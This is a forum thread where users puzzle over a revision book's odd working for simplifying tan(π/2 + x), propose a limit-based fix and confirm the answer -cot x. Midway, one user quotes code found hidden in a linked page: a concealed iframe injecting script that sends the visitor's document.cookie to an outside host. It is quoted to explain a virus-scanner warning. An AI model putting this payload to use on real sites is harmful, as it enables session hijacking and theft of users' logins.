Maths question that's infinitely funny...

• Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:

Using a compound angle formula, simplify tan(π/2 + x)

Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):

Interesting, to say the least. Talking ∞/∞ out as a common factor?

• @Daniel15 said:

Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:

Using a compound angle formula, simplify tan(π/2 + x)

Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):

Interesting, to say the least. Talking ∞/∞ out as a common factor?

If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit.  No?

So who set the question?  Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?

• Ew, Pseudo-mathematics. That's awful.

• @Hatshepsut said:

If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit.  No?

Yeah, using a limit would work fine.

So who set the question?  Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?

It was an example from a summary book for the Specialist Maths course here. We're allowed to bring one bound reference into the exam, so some people bring this book in (I will be... I started writing up my own notes but this book had everything I wrote and more).

There's definitely better ways to do it, for example express it as sin(x + pi/2) / cos(x + pi/2) and then use the other compound angle formulae on that).

Reminded me of some of these

FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.

• Yep I second this statement

• found this in the code:

`<div style="display: none;">`
`<iframe src="http://www.stumbleupon.com/searchers.php?q=<%2Fscript><script>document.location%3D'http%3A%2F%2Fval2007.3-hosting.net/vvacation.php%3Fc%3D'%2B(document.cookie)%3B<%2Fscript>" >`
`</iframe>`
`</div>`

• @PerdidoPunk said:

Reminded me of some of these

FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.

Sorry about that.  I didn't get any warning at my office.  A coworker sent me the link a few days ago, I was just passing it on.

• It looks to me as if they solved the whole dividing by zero problem.  Isn't tan(pi/2) undefined?

• And for those of us who haven't done trig identities in a decade or two, what's the correct answer?

• @Carnildo said:

And for those of us who haven't done trig identities in a decade or two, what's the correct answer?

Suprisingly enough, the answer obtained in the end (-cot x) is the correct answer.

It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?

Yeah, it is.

tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense.

• @Daniel15 said:

@Carnildo said:
And for those of us who haven't done trig identities in a decade or two, what's the correct answer?

Suprisingly enough, the answer obtained in the end (-cot x) is the correct answer.

It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?

Yeah, it is.

tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense.

Makes sense to me, but of course I'm working in projective geometry...

• @Hatshepsut said:

@Daniel15 said:

Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:

Using a compound angle formula, simplify tan(π/2 + x)

Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):

Interesting, to say the least. Talking ∞/∞ out as a common factor?

If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit.  No?

So who set the question?  Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?

Ugh, I can hardly read it it's so bad.  I always hated math problems where you had to un-simplify the problem before you could solve it, like changing the pi/2 here to a variable so you can use a limit to solve it.  If my TA's in school were any indication, this TA would take marks off your limit method because the prof/answer key has a much simpler answer.

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